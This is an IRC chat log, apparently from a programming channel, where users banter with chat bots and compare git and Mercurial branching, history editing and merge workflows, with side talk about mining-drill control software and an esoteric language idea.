07:45:19 <shachaf> Vorpal: Why does it say you're boring?
07:45:45 <hppavilion[1]> Ant mill :)
07:45:47 <myname> because he's not vorpal kick'asso maybe
07:45:55 <hppavilion[1]> @massages-load
07:45:55 <lambdabot> oerjan said 3h 45m 27s ago: no, the page has been saved before, but the problem is that it _starts_ obeying the robots.txt of the squatters even for old content
07:46:13 <oerjan> `learn Vorpal writes software for boring machines. Really big ones.
07:46:19 <hppavilion[1]> oerjan: Oh, that's pretty stupid.
07:46:22 <HackEgo> Relearned 'vorpal': Vorpal writes software for boring machines. Really big ones.
07:46:25 <shachaf> Vorpal: Oh, is that true?
07:46:28 <hppavilion[1]> I'm pretty sure robots.txts are not retroactive
07:46:30 <shachaf> You should talk about it in #trains.
07:46:42 <hppavilion[1]> shachaf: OH MY GOD
07:46:46 <hppavilion[1]> shachaf: THERE'S A #TRAINS!?
07:47:15 <shachaf> i can neither confirm nor deny the existence of #trains
07:47:42 <oerjan> hppavilion[1]: well the original intention was probably to allow someone to hide files that were exposed by accident.
07:47:53 <Vorpal> <shachaf> Vorpal: Why does it say you're boring? <-- Ask ehird?
07:48:00 <oerjan> but then there was the original complication that owners of sites change.
07:48:06 <oerjan> *additional
07:48:10 <oerjan> stupid fingers
07:48:19 <shachaf> ehird hasn't been here for a long time.
07:48:24 <shachaf> At least by a nick that I recognize.
07:48:34 <hppavilion[1]> oerjan: That's kind of a stupid rule though. Squatters fucking things up is MUCH more likely than accidentally exposing a file that is THAT dangerous but completely unprotected otherwise
07:48:42 <Vorpal> oerjan: well yes, my day to day job is boring unless you find hard real time cool (which I do)
07:48:48 <hppavilion[1]> shachaf: ehird? Any relation to h4gb4rd?
07:48:57 <shachaf> I should hope not.
07:49:19 <hppavilion[1]> Wait, don't /all/ programmers mostly work on boring machines?
07:49:27 <Vorpal> shachaf: I write control software for really big mining machines. Autonomous ones. Drills holes that you put explosives in (for open pit mines)
07:49:51 <shachaf> Oh, not tunnel boring machines?
07:49:55 <Vorpal> Nope
07:50:14 <oerjan> drilling is boring hth
07:50:16 <Vorpal> The largest model weighs 200 metric tons.
07:50:34 <Vorpal> Top speed of 5 km/h. 22 meters long, 30 meter high tower
07:50:42 <myname> bagger 288 bagger bagger 288
07:50:48 <shachaf> See, those are the kinds of facts that I bet #trains would enjoy.
07:50:54 <shachaf> Though I might be wrong.
07:51:16 <oerjan> hppavilion[1]: ehird's relation to hagb4rd is that he was probably the first to ban him hth
07:51:31 <oerjan> also, ehird = elliott
07:51:43 <myname> https://youtu.be/azEvfD4C6ow
07:51:46 <hppavilion[1]> Oooooooooooh that makes more sense
07:51:55 <Vorpal> shachaf: these appear to be the electric version (see the massive cable?): http://www.coaleducation.org/technology/Surface/images/PV351-2.jpg
07:52:27 <Vorpal> That is 1.5 kV 3-phase, and I forget how many amps. But quite a few
07:53:32 <Vorpal> shachaf: also what is #trains about?
07:53:37 <Vorpal> Trains I presume
07:53:42 <Vorpal> but why did you mention it now?
07:54:16 <shachaf> It's about trains but I think they've talked about boring machines before.
07:55:07 <Vorpal> right
07:55:13 <Vorpal> I find trains pretty boring
07:55:38 <myname> semaphores are neat
07:56:20 <Vorpal> oh yeah, I played OpenTTD, those were fun to mess with
07:56:42 <shachaf> Oh, train semaphores.
07:56:48 <Vorpal> btw, wasn't it fizzie that proved OpenTTD to be turing complete?
07:56:55 <Vorpal> or at least universal logic
07:57:26 <shachaf> http://zem.fi/2005-10-21-ttd-logic ?
07:57:32 <Vorpal> ah yeah
07:57:46 <Vorpal> so not tc then
07:58:00 <shachaf> more like TG
07:58:03 <shachaf> as in too good
07:58:12 <shachaf> Actually I have no idea, I never played OpenTTD.
07:58:16 <shachaf> I did play Factorio, though.
07:59:30 <Vorpal> ooh, I haven't. It looks interesting though
07:59:39 <hppavilion[1]> Turing Compete
07:59:48 <Vorpal> heh
07:59:50 <myname> i'd love factorio for android
08:00:08 <hppavilion[1]> myname: I'd love an android that could play factorio
08:00:22 <Vorpal> myname: would the interface work though? it seems you need to click a lot of small things. Also the performance once the factory gets massive?
08:00:33 <hppavilion[1]> `? h4gb4rd
08:00:37 <HackEgo> h4gb4rd? ¯\(°​_o)/¯
08:00:45 <hppavilion[1]> Wait, I think shachaf `?d h4gb4rd earlier today
08:01:01 <Vorpal> hppavilion[1]: eh I think it might work on a recent high end tablet. On a phone the interface would suck though
08:01:05 <shachaf> Oh, well, you wouldn't want to run the same read-only command twice. That would be botspam.
08:02:14 <hppavilion[1]> `learn h4gb4rd is a Scandinavian criminal currently serving tau consecutive life sentences at a yottamax prison buried beneath 4chan.
08:02:20 <HackEgo> Learned 'h4gb4rd': h4gb4rd is a Scandinavian criminal currently serving tau consecutive life sentences at a yottamax prison buried beneath 4chan.
08:03:03 <shachaf> You should take a wisdom entry course from oerjan.
08:03:29 <Elronnd> `? shachar
08:03:30 <Elronnd> `? shachaf
08:03:32 <HackEgo> shachar? ¯\(°​_o)/¯
08:03:36 <HackEgo> shachaf sprø som selleri and cosplays Nepeta Leijon on weekends. He hates bell peppers with a passion. The unit of fun punnery is named after him.
08:03:44 <hppavilion[1]> shachaf: Why?
08:03:47 <shachaf> Factorio even supports multiplayer. It's great.
08:03:58 <hppavilion[1]> (What's the inverse of `culprits, BTW?)
08:04:08 <shachaf> Because your wisdom entries would be improveed.
08:04:13 <shachaf> s/ee/e/
08:04:23 <Vorpal> my back tick key is stuck... it doesn't go down
08:04:24 <Vorpal> wtf
08:04:29 <Elronnd> :C
08:04:34 <Elronnd> copy-paste it?
08:04:49 <hppavilion[1]> Vorpal: here, ^C: `
08:05:20 <Vorpal> I'll better remove the cap and check the mechanism below. the mechanism is complicated on this laptop though iirc
08:05:54 <hppavilion[1]> Do you ever find an xkcd and think "how could explainxkcd possibly say anything about this?"
08:05:59 <hppavilion[1]> e.g. http://xkcd.com/34/
08:07:06 <Vorpal> aha, a bit of hard material under the scissor mechanism ´´´```
08:07:44 <shachaf> You've fixed it?
08:07:51 <Vorpal> yes
08:08:24 <shachaf> `ǹicé´
08:08:25 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ǹicé´: not found
08:08:26 <Vorpal> shachaf: pried the debris out with a needle, since I couldn't remove the mechanism itself due to the way it was stuck by the debris
08:08:33 <shachaf> Oops.
08:08:47 <Vorpal> hppavilion[1]: now you made me check explainxkcd for that one
08:08:51 <shachaf> How many debris were there?
08:10:06 <Vorpal> Hm what is the singular of debris?
08:10:18 <Vorpal> I guess it is uncountable
08:10:19 <shachaf> debri
08:10:35 <shachaf> debris floating in de breeze
08:10:45 <Vorpal> My spell checker doesn't like debri at least
08:10:51 <shachaf> Yes, I made it up.
08:12:37 <shachaf> oerjan: is your good twin's full name professørjan
08:12:51 <Vorpal> Hm anyone used hg-git? I don't want to learn git but I want to fork a project on github. I could fork it over to bitbucket, but then it would be harder to discover for other people looking if someone fixed this thing or not
08:13:21 <Vorpal> And the original project appears to be somewhere between maintenance mode and straight up dead
08:14:07 <shachaf> I suspect learning git is easier than figuring out hg-git
08:14:11 <\oren\> debrises
08:14:53 <Vorpal> shachaf: probably :(
08:15:03 <\oren\> git is a mystery inside an enigma, wrapped in a horrible user interface
08:15:05 <Vorpal> shachaf: is there any good GUI for git?
08:15:22 <\oren\> there isn't even a good CLI for git
08:15:23 <shachaf> I'm not sure.
08:15:26 <Vorpal> I would say that for learning a new version control system, something like TortoiseHg is great
08:15:35 <shachaf> There's some Tcl/Tk GUI but I don't know if it's good.
08:15:38 <Vorpal> so something similar for git would be useful
08:15:53 <shachaf> Hmm, GitHub wrote a GUI for Windows, if you use Windows and GitHub.
08:16:08 <shachaf> Ah, https://git-scm.com/download/gui/linux
08:16:13 <\oren\> and it is awful
08:16:57 <shachaf> I just use the command line.
08:17:08 <\oren\> basically the only way to solve most problems is to copy the files you changed, redownload the repository, and then copy them back
08:17:30 <Vorpal> shachaf: linux user here
08:17:41 <shachaf> \oren\: Are you talking about GitHub's GUI?
08:17:46 <shachaf> Or the Tk GUI?
08:17:59 <hppavilion[1]> shachaf: The UNIVERSE GUI hth
08:18:50 <\oren\> shachaf: the one from github. I used it a lot for my video game course's final project
08:20:25 <shachaf> Just use the command line tool.
08:20:43 <shachaf> I don't know why people say that git is so complicated.
08:20:47 <\oren\> it makes it easy to create various states that are "broken" and can't be fixed without either complex command line screwery, or by doing what I just said
08:21:10 <shachaf> I mean, the commands are unintuitive sometimes, but as long as you know what state you're in and what state you want to be in, you can usually figure out what to do.
08:21:14 -!- Akaibu has quit (Quit: Connection closed for inactivity).
08:21:39 <\oren\> shachaf: the issue is that there are far more states than in other VCS's
08:21:48 <shachaf> And it's almost impossible to accidentally lose data (once you've committed it) or get into a state that you can't recover from.
08:21:51 <shachaf> There's always the reflog.
08:21:53 <oerjan> shachaf: no hth
08:23:00 <shachaf> \oren\: I made some pretty embarrassing git mistakes in the past.
08:23:38 <shachaf> But you just need to get a reasonable mental model of what the commit graph looks like.
08:24:00 <shachaf> I think it's pretty similar to hg but I haven't used hg very much.
08:27:01 <\oren\> in particular git could do without the entire concept of stashing
08:27:01 <shachaf> `learn The English, the English, the English are best; / I wouldn't give tuppence for all of the rest.
08:27:42 <shachaf> I think stashing is pretty useful.
08:27:51 <\oren\> and staging
08:27:55 <shachaf> But if you don't like it you don't have to use it.
08:28:12 <\oren\> shachaf: that's not what I've experienced
08:28:27 <shachaf> Stashing? That's an entirely local thing.
08:28:35 <shachaf> Don't run "git stash" and you don't have to deal with stashes.
08:28:57 <Vorpal> <shachaf> I mean, the commands are unintuitive sometimes, but as long as you know what state you're in and what state you want to be in, you can usually figure out what to do. <-- I'm used to using hg. Used it for ages.
08:29:12 <Vorpal> From my understanding branches in git are quite different than branches in mercurial though?
08:29:38 <shachaf> Maybe. What are branches in Mercurial?
08:30:22 <\oren\> staging could be entirely done away with. it has no purpose it seems, other than to increase the number of states my working copy can be in
08:31:01 <\oren\> this goes for svn too
08:31:42 <Vorpal> each commit belongs to a branch. You can at any point create a new branch from a given commit, by specifying a new branch name in the commit. You can only push (ignoring --force) if each named branch only has one head. Otherwise you have to merge in that branch so that you only have one head.
08:32:04 <Vorpal> If you want more than one head, use a named branch
08:32:30 <shachaf> It looks like a git branch is roughly equivalent to an hg bookmark?
08:32:50 <Vorpal> Hm, I haven't used hg bookmarks. Not directly at least
08:33:07 <Vorpal> I think mq uses them internally. It is like an easily movable tag?
08:33:17 <shachaf> I think so.
08:33:32 <shachaf> Does an hg commit (if there is such a thing) "belong" to a branch in some sense?
08:33:46 <hppavilion[1]> shachaf: Does a puddle "belong" to the rain?
08:33:54 <shachaf> In git you just have a graph of commits, where each commit beyond the first has one or more parents.
08:34:07 <shachaf> A branch is just a file that has a commit hash in it.
08:34:10 * hppavilion[1] is a wise Jewddhist master
08:34:20 <Vorpal> shachaf: and having multiple heads is okay and won't cause complaints when you push?
08:34:28 <shachaf> What are multiple heads?
08:34:39 <Vorpal> "Bookmarks can be used as an alternative to NamedBranches for tracking multiple lines of development. Systems like Mercurial, CVS, and Subversion store their branch information as a permanent part of each commit. This is useful for future auditing of long-lived branches, as it's always possible to identify which branch a commit was introduced on. Git, by contrast, has "branches" that are not stored in h
08:34:39 <Vorpal> istory, which is useful for working with numerous short-lived feature branches, but makes future auditing impossible. Mercurial's bookmark feature is analogous to Git's branching scheme, but can also be used in conjunction with Mercurial's traditional named branches."
08:34:45 <Vorpal> okay, makes sense
08:35:01 <Vorpal> shachaf: a head is a commit with no children. The tip of the history.
08:35:37 <shachaf> When you `git gc`, all the commits that aren't reachable via branches (or tags, which are effectively immutable branches) are deleted.
08:35:37 <Vorpal> You can end up with multiple heads, which you then either merge or rebase.
08:35:45 <Vorpal> heh
08:35:56 <Vorpal> how weird
08:36:02 <Vorpal> so it just strips part of the history
08:36:12 <Vorpal> shachaf: you can't move a tag in git?
08:36:13 <shachaf> Well, it's not the history of anything that you care about.
08:36:24 <shachaf> It's a faux pas.
08:36:39 <Vorpal> You can in hg, since the tags are just a bunch of revision IDs and names in a file .hgtags in the root of the repo
08:36:49 <Vorpal> Just append a new line overriding the old tag
08:36:56 -!- MDude has changed nick to MDream.
08:37:11 <shachaf> I understand what a head is, but what do you mean by multiple heads?
08:38:14 <Vorpal> shachaf: well if you have more than one commit that has no children, in the same named branch, you don't have a clear "most recent" tip in that branch. Okay?
08:38:24 <shachaf> Oh, I see.
08:38:29 <shachaf> In git a branch is just a head, I guess.
08:38:50 <Vorpal> I guess in git the gc command would get rid of it?
08:38:54 <shachaf> (Well, it might have children, but they're not visible from the branch.)
08:38:58 <Vorpal> which sounds dangerous
08:39:11 -!- MoALTz has joined.
08:39:31 <shachaf> A GC should never delete anything that you care about, because you can just keep a GC root referring to it.
08:39:52 <Vorpal> right. but that sounds complicated
08:40:07 <shachaf> I don't know how you'd end up in that situation, really.
08:40:07 <Vorpal> When would you end up with stuff you don't care about anyway
08:40:21 <shachaf> Well, maybe you rewrote history to squash some commits together.
08:40:36 <shachaf> Or maybe you deleted a branch. The contents of the branch are still available until you GC.
08:40:43 <Vorpal> shachaf: I assume you can't rewrite history you already pushed?
08:40:55 <Vorpal> Or delete a branch that is pushed
08:41:26 <shachaf> Well, you can do whatever you want, but you generally shouldn't push changes to a remote branch that aren't descendants of it.
08:41:42 <shachaf> You can delete a branch that you pushed. You can always recreate it by getting the remote branch.
08:41:45 -!- MDream has changed nick to MDude.
08:41:49 <Vorpal> In hg each commit has a phase: secret, draft, public. As soon as you push (or someone pulls from you) the commit is set to public. You can force change it back to draft, but that is a faux pas that could lead to all sorts of headaches down the line.
08:42:11 <Vorpal> You can only perform history editing on draft commits. Oh and secret commits are excluded from being pushed or pulled
08:42:20 <Vorpal> otherwise secret and draft are the same
08:42:24 <Vorpal> commits default to draft
08:42:48 <shachaf> A git branch is literally implemented as a file: A branch foo is a file .git/refs/heads/foo containing a sha1 hash.
08:42:56 <Vorpal> Hm
08:43:10 <shachaf> I guess there's no equivalent state to keep track of for whether a branch has been pushed or not.
08:43:12 <Vorpal> Can't say I know how hg implements all that stuff. Don't need to deal with it normally
08:43:27 <Vorpal> Hm
08:43:36 <shachaf> Well, if you prefer, "branches" are just a key-value map : String -> SHA1
08:44:18 <shachaf> If you try to push something to a remote branch that isn't a descendant, you'll get an error if you don't force-push.
08:44:53 <Vorpal> Fair enough
08:45:22 <Vorpal> still it seems that git and hg have quite different models. Resulting in very different idiomatic ways to use them
08:45:37 <shachaf> That sounds a bit more plausible now.
08:45:49 <Vorpal> yeah
08:47:43 <Vorpal> shachaf: is there anything like MQ in git? It is basically a version controlled way to have local commits that you work on, and update. Possibly merging several of them, reordering and so on
08:47:59 <Vorpal> But the great thing is that you version control the "patch queue" as it is called
08:48:14 <Vorpal> Meaning you can go back to an earlier state of your local unpushed commits
08:48:14 <shachaf> "MQ is rarely needed for new Mercurial users. If you're used to it and you like it, by all means, keep using it. But if you are learning Mercurial, instead use modern tools, such as hg rebase, hg histedit, hg graft, hg strip, hg strip --keep, and hg commit --amend. Check the documentation for each of these commands."
08:48:25 <shachaf> Those "modern tools" sound very similar to git tools.
08:48:33 <shachaf> For example git rebase and git commit --amend
08:48:46 <Vorpal> shachaf: yeah I know, but I like that MQ allows me to version control my history editing. I don't think the more modern tools do
08:49:17 <shachaf> Well, you can always keep a branch referring to your pre-history-rewriting commit.
08:49:24 <shachaf> But I guess that's more manual than you like.
08:50:07 <Vorpal> well mq is semi-manual. You have to remember to commit the current state of the queue. But other than that, it takes care of itself until you need to revert it, at which point it is a bit of work (but hopefully that is rare)
08:50:07 <shachaf> So there's the git reflog, which just keeps track of the states that a branch has been in.
08:50:14 <Vorpal> ah neat
08:50:41 <shachaf> That's not an explicit commit, but you can ask "what commit was this branch pointing to X operations ago or at time Y".
08:50:46 <Vorpal> shachaf: but I guess gc messes that up?
08:51:01 <shachaf> Those aren't GC roots so they might get collected, yes.
08:51:15 <shachaf> You can turn off GC if you like.
08:51:21 <shachaf> Normally it only deletes things over 30 days old, I think.
08:51:43 <Vorpal> Hm, when you strip something in mercurial, it saves a bundle with all the commits you stripped in .hg/strip-backup or something like that
08:51:56 <Vorpal> You could manually clean it, but it would never be auto-collected
08:52:30 <oerjan> `? hagb4rd
08:52:33 <HackEgo> hagb4rd is one spacey fellow. Spaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaace.
08:52:36 <Vorpal> But that is a non-issue, since stripping commits is a rare operation
08:53:00 <shachaf> Oh, you can disable GC for a particular branch's reflog.
08:53:30 <shachaf> I don't think this is intended for quite the same thing that you're thinking of using it for, but it could work, I guess.
08:53:31 <Vorpal> well having it automatically "commit" on each operation is neat, I'll agree
08:53:33 <oerjan> `culprits wisdom/hagb4rd
08:54:18 <HackEgo> int-e ais523 oerjan elliott Bike FreeFull ais523 ais523 elliott FreeFull Taneb
08:54:26 <Vorpal> shachaf: basically I use mq at work when working on a large feature, it allows me to work all over the place and split the stuff into logical commits for each sub-feature or part touched.
08:54:33 <shachaf> `` ln -sf hagb4rd wisdom/h4gb4rd
08:54:42 <oerjan> shachaf: :(
08:54:52 <oerjan> oh
08:55:12 <HackEgo> No output.
08:55:20 <oerjan> `? h4gb4rd
08:55:21 <HackEgo> hagb4rd is one spacey fellow. Spaaaaaaaaaaaaaaaaaaaaaaaaaaaaace.
08:55:24 <shachaf> You can revert if you like.
08:55:32 <shachaf> I didn't like the other entry very much.
08:55:40 <oerjan> no, i thought you'd done it the wrong way.
08:56:13 <oerjan> anyway.
08:56:25 -!- oerjan has quit (Quit: Niiiiiiiiiiiiiiiiiiiiite).
08:56:53 <Vorpal> shachaf: what about hg record? Allows you to select which part of a file to include in a commit. Basically asks for each "section" of the diff
08:57:10 <Vorpal> useful if you realise you want to do something in two commits
08:57:10 <shachaf> git add -p, I think.
08:57:25 <shachaf> Or git commit -p
08:57:30 <shachaf> Or soemthing.
08:58:31 <Vorpal> shachaf: how do I list outgoing/incoming changes before I push/pull so that I can check that I don't have stuff I'm pushing/pulling that I didn't intend to
08:59:21 <Vorpal> hg out basically lists what would be pushed, if you were to push. Same for hg in and pulling
08:59:26 <shachaf> git pull does two things: git fetch, which fetches a remote repository's branches, and then git merge of the remote branch into the local branch.
08:59:50 <shachaf> You can do it manually. git fetch, and then (say you're on the branch master) you have the remote branch at origin/master and the local branch at master.
08:59:55 <shachaf> Then you can do whatever you want.
09:00:12 <Vorpal> shachaf: so no way to see what git fetch would fetch without actually adding it to your local repo?
09:00:20 <Vorpal> This is especially useful when pushing
09:00:23 <shachaf> Well, it doesn't modify your local branches.
09:00:30 <Vorpal> okay sure
09:00:31 <shachaf> It just modifies your snapshot of the remote repository.
09:00:37 <Vorpal> But the pushing case is more interesting anyway
09:00:55 <Vorpal> I want to make sure I don't push, a commit "LOCAL: ADD DEBUG PRINTS" or something by mistake
09:01:04 <shachaf> Well, you can git fetch and then do whatever you want.
09:01:08 <Vorpal> Hm
09:01:17 <shachaf> Examine your local master and origin/master, see the differences, etc.
09:01:22 <shachaf> And then push when you're happy.
09:01:33 <Vorpal> Oh so fetching results in you getting an extra branch that represents the remote repo?
09:01:37 <Vorpal> I guess that would work
09:01:52 <shachaf> Right. Well, you get a bunch of branches corresponding to the remote branches.
09:02:19 <Vorpal> also that is a weird way to do it. So branches are local to the repository?
09:02:23 <Vorpal> How strange
09:02:26 <shachaf> And the local branch you're pushing is presumably a descendant of a remote branch.
09:02:49 <shachaf> Yes, a branch is just a name for a commit.
09:03:10 <shachaf> Often you have a local branch that tracks a remote branch, but you can have private branches etc., no problem.
09:03:39 <Vorpal> hm and I guess you can push a branch to the remote side, otherwise you couldn't create new branches on, say, github
09:03:48 <shachaf> Right.
09:05:47 <shachaf> It's a very simple model. If anything it's maybe too simple, so maybe sometimes you need to do strange things to get to the state that you want.
09:07:25 <Vorpal> right
09:07:48 <Vorpal> To me it seems hg's branch model is more sensible. And git's branch model, like hg bookmarks seems mostly pointless
09:08:06 <shachaf> I guess I should use hg sometime to figure out whether that's true.
09:08:55 <shachaf> @google hg branches vs git branches
09:08:55 <lambdabot> https://felipec.wordpress.com/2011/01/16/mercurial-vs-git-its-all-in-the-branches/
09:09:03 -!- clog has quit (Ping timeout: 246 seconds).
09:09:10 -!- clog has joined.
09:09:51 <shachaf> hm, https://felipec.wordpress.com/2012/05/26/no-mercurial-branches-are-still-not-better-than-git-ones-response-to-jhws-more-on-mercurial-vs-git-with-graphs/
09:10:01 <Vorpal> shachaf: also mercurial has a really kick ass GUI. TortoiseHg is *really* good
09:10:21 <Vorpal> and of course opinions will differ
09:11:01 <shachaf> Of course.
09:12:19 <Vorpal> "Repository structure: Mercurial doesn’t allow octopus merges (with more than two parents), nor tagging non-commit objects.
09:12:19 <Vorpal> "
09:12:29 <Vorpal> Whaaat? How do you merge with more than 2 parents?
09:12:37 <Vorpal> That seems... terribly complicated?
09:12:45 <shachaf> I don't know that I've ever done it.
09:12:50 <Vorpal> Most merge tools are 3-way
09:13:26 <Vorpal> shachaf: I assume git supports external GUI merge tools?
09:13:38 <shachaf> Probably?
09:13:39 <Vorpal> I personally use BeyondCompare (not open, nor free, but really really good)
09:13:47 <shachaf> http://www.gitguys.com/topics/merging-with-a-gui/
09:14:46 <shachaf> Anyway a merge with more than two parents seems like it might be complicated to actually do, but what it is doesn't seem very complicated.
09:15:39 <Vorpal> "Mercurial uses rename tracking, while Git uses rename detection to deal with file renames
09:15:39 <Vorpal> "
09:15:46 <Vorpal> shachaf: agreed
09:15:56 <Vorpal> anyway what does it mean with rename detection?
09:16:07 <shachaf> I don't think there's an explicit notion of a file being renamed.
09:16:11 <Vorpal> It doesn't track in the commit that a rename was from a specific file to another?
09:16:17 <shachaf> It's just a deletion and a creation.
09:16:35 <shachaf> A git commit is roughly just a snapshot of a directory tree.
09:16:38 <Vorpal> That seems like it is a loss of useful information when doing merges with conflicts?
09:16:43 <shachaf> I guess that's different from hg.
09:16:48 <shachaf> Maybe it is, I don't know.
09:17:03 <Vorpal> if someone moved the file I did changes in, how does it figure out to apply my changes to that other file instead
09:17:13 <shachaf> With rename detection, I guess?
09:17:33 <Vorpal> Hm
09:17:45 <Vorpal> seems more brittle if a lot of things changed in the file as well
09:17:51 <shachaf> It probably is.
09:17:55 <Vorpal> or many files were renamed in the same commit
09:18:00 <shachaf> I've had issues with that occasionally.
09:18:42 <shachaf> But a git commit isn't a diff from the previous commit. It's just a snapshot of a tree.
09:18:53 <shachaf> There are one or more parent pointers, which you can use to compute a diff.
09:19:07 <Vorpal> Ah
09:19:15 <Vorpal> I guess a hg commit *is* a diff
09:19:27 <Vorpal> internally I don't know if it is or not though
09:19:44 <shachaf> Well, it keeps track of rename information one way or another.
09:21:46 <shachaf> Anyway, now that you learned all these details, you'll have to try git out.
09:25:15 <shachaf> I don't understand why you would want to have more than one head in a branch.
09:25:44 <shachaf> I guess you just have different notion of what a branch is in hg.
09:26:09 <shachaf> All the work that goes into a feature, or something like that. You can put all your commits and things in it, and eventually clean it up when you want to merge/push.
09:28:51 <Vorpal> <shachaf> I don't understand why you would want to have more than one head in a branch. <-- you don't. It is a temporary state after you pulled remote changes but before you rebased or merged
09:29:12 <shachaf> OK.
09:29:27 <shachaf> So it sounds like an equivalent of git's origin/foo in that case.
09:29:34 <shachaf> Where origin is the repository you fetched from.
09:30:47 <Vorpal> shachaf: a branch in hg might be the work a different team is working on. It is for big changes. And it is for a release with only bug fixes (as opposed to "default" in hg / "master" in git)
09:31:14 <Vorpal> it is usually not for something short lived
09:31:25 -!- Destructible has joined.
09:31:31 <Destructible> `? love
09:31:34 <HackEgo> Baby don't hurt me, don't hurt me no more
09:31:55 <Destructible> hello
09:32:11 <Destructible> anyone
09:32:20 -!- Destructible has quit (Client Quit).
09:33:16 <shachaf> Vorpal: What do you do for something short-lived?
09:34:01 <Vorpal> shachaf: Usually just having multiple heads, then merging it and pushing it.
09:34:12 <shachaf> OK.
09:34:22 <shachaf> Often I have a bunch of branches in my repository for various work I've done.
09:34:34 <shachaf> As I finish it I merge/rebase them onto master and push.
09:34:42 <shachaf> Is there an equivalent to that sort of thing?
09:34:56 <Vorpal> I usually don't work that way. I normally work on one or two things at a time. I guess for you there could be bookmarks then?
09:35:14 <Vorpal> Also you can have multiple MQ queues, but again I rarely use that
09:35:31 <Vorpal> I don't think I ever used more than one MQ queue
09:35:46 <shachaf> OK.
09:35:54 <shachaf> Also at work I use Phabricator which has a completely different workflow.
09:36:07 <shachaf> It was developed at Facebook, which uses hg, so presumably there's a way to make it work there.
09:36:12 -!- Destructible has joined.
09:36:21 <Destructible> ?` people
09:36:21 <lambdabot> Maybe you meant: v @ ? .
09:36:31 <Destructible> `? people
09:36:33 <HackEgo> people? ¯\(°​_o)/¯
09:36:40 <Destructible> `? sanity
09:36:41 <HackEgo> sanity? ¯\(°​_o)/¯
09:36:47 <Destructible> `? life
09:36:49 <HackEgo> life? ¯\(°​_o)/¯
09:37:04 <Destructible> `? brainfuck
09:37:07 <HackEgo> brainfuck is the integral of the family of terrible esolangs. The name is a euphemism for "beef". bf -c -t "+>+++++>+++" | mklang --array
09:37:23 <shachaf> Please keep your read-only bot queries to /msg unless they're relevant to other people.
09:37:35 <Destructible> oh
09:37:40 <Vorpal> shachaf: huh never heard of that one
09:37:55 <Vorpal> phabricator that is
09:37:58 <shachaf> How do you do code review?
09:37:59 <Destructible> either way I did not know about /msg
09:38:20 <shachaf> Now you know.
09:38:40 -!- dnm has joined.
09:38:54 <Destructible> *some gimmick about knowing things and a positive thing being related*
09:39:21 <Destructible> so, anyway I reckon I'll add a page for my language idea, however
09:39:35 <Destructible> I'm going to post it on the ideas page, but
09:39:54 <Destructible> I'm not sure whether it would count as a derivative of brainfuck
09:41:13 <hppavilion[1]> Destructible: Good rule of thumb: If it could conceivably be a brainfuck derivative, don't even talk about it
09:41:29 <Destructible> but...
09:41:34 <hppavilion[1]> Destructible: Pretend that you never thought of it and step twice in the river of lice to atone for your sins
09:41:39 <Destructible> no
09:41:54 <hppavilion[1]> Destructible: I discussed this the other day
09:41:59 <hppavilion[1]> >>> sin(brainfuck_derivatives)
09:42:01 <hppavilion[1]> True
09:42:18 <Destructible> ok, I guess I'll just not post it as a derivative
09:42:29 <hppavilion[1]> Destructible: That's even worse
09:42:33 <Destructible> it features a tape of memory
09:42:36 <Destructible> and a pointer
09:42:39 <Vorpal> <shachaf> How do you do code review? <-- at work? Part of the web software we use on our servers with hg and bug management and all that.
09:42:41 <hppavilion[1]> Destructible: Non-attribution is a heinous crime in this case
09:42:46 <Destructible> that is how it is similar
09:42:55 <Destructible> pretty much it
09:42:56 <hppavilion[1]> Destructible: And how is it different?
09:43:01 <shachaf> Which software?
09:43:02 <Vorpal> shachaf: not phabricator though, different one
09:43:04 <Destructible> it has a stack
09:43:08 <Destructible> for one thing
09:43:09 <hppavilion[1]> Destructible: And?
09:43:20 <Destructible> bits instead of bytes
09:43:35 <Destructible> manipulating data happens with moving, instead of a seperate command
09:43:45 <Vorpal> shachaf: Called FogBugz. I have never used any other proprietary one. It is okay I guess.
09:43:54 <shachaf> Oh, that one.
09:44:00 <Vorpal> You know of it? Okay
09:44:10 <shachaf> Is this Kiln?
09:44:14 <Vorpal> Yes
09:44:19 <Vorpal> I think the review part is some add on though, not the standard kiln one
09:45:52 <Destructible> the main feature of the program is the fact that the only way to change any values not in a straight line (because if you move back to a previous point, all the bits return to previous value) is )
09:46:09 <Destructible> (sorry about unclosed paren)
09:46:33 <shachaf> Code review is TG
09:46:41 <Destructible> to use the teleport function, which pops the top value of the stack and transports the pointer to that spot
09:46:44 <Vorpal> shachaf: ?
09:46:47 <shachaf> too good
09:46:50 <Vorpal> ah
09:46:55 <shachaf> I don't like GitHub's implementation of it via pull requests very much.
09:47:09 <Vorpal> shachaf: oh? I should probably learn how those works btw
09:47:20 <shachaf> Which is a shame because so many projects use GitHub now.
09:47:47 <shachaf> I've historically refused to use pull requests.
09:47:50 <Vorpal> shachaf: anyway, how did you come into contact with Kiln?
09:47:51 <shachaf> I just send people patches.
09:48:05 <shachaf> I never used it.
09:48:12 <shachaf> I think I read about it at hginit.com.
09:48:15 <Vorpal> Ah
09:48:38 <shachaf> Which is half Kiln advertisement half hg tutorial.
09:48:55 <Vorpal> the problem with a patch it might not be obvious where in the history it applies. And even if you figure it out you have to rebase/merge. Mostly an issue in a highly active project
09:51:03 <shachaf> Yes.
09:54:31 <hppavilion[1]> zeugmas must be a massive pain in the ass for translators
09:55:46 <Vorpal> hppavilion[1]: why?
09:56:01 <hppavilion[1]> Vorpal: Because how do you translate such a thing?
09:56:05 <Destructible> I'll be back
09:56:09 -!- Destructible has quit (Quit: Page closed).
09:56:13 <hppavilion[1]> It loses impactfulness when you use different words
09:56:27 <hppavilion[1]> It's probably even worse for autotranslaton
09:56:31 <hppavilion[1]> *autotranslation
09:56:35 <hppavilion[1]> In fact, I'll test it now
09:57:46 <hppavilion[1]> ...Huh
09:57:49 <hppavilion[1]> It still makes some sense
09:58:40 <hppavilion[1]> It didn't change the key word, I guess
09:59:24 <Vorpal> hppavilion[1]: why does it do that? You assumed I know what that language is?
09:59:48 <Vorpal> I assume "zeugmas" is a language? Or is it a specific word?
09:59:49 <hppavilion[1]> Vorpal: Wat?
10:00:00 <hppavilion[1]> Vorpal: No, "zeugmas" is a linguistic technique
10:00:08 <Vorpal> hppavilion[1]: okay, what does it mean then?
10:00:16 <hppavilion[1]> It's where a word is used only once, but has different meanings when applied to different parts of the sentence
10:00:18 <hppavilion[1]> For example
10:00:27 <hppavilion[1]> "You are free to execute your laws, and your citizens, as you see fit"
10:01:00 <hppavilion[1]> In this case, "execute your laws" means to enact the laws and "execute your citizens" means to state-sanctionedly kill them
10:01:00 <Vorpal> ah
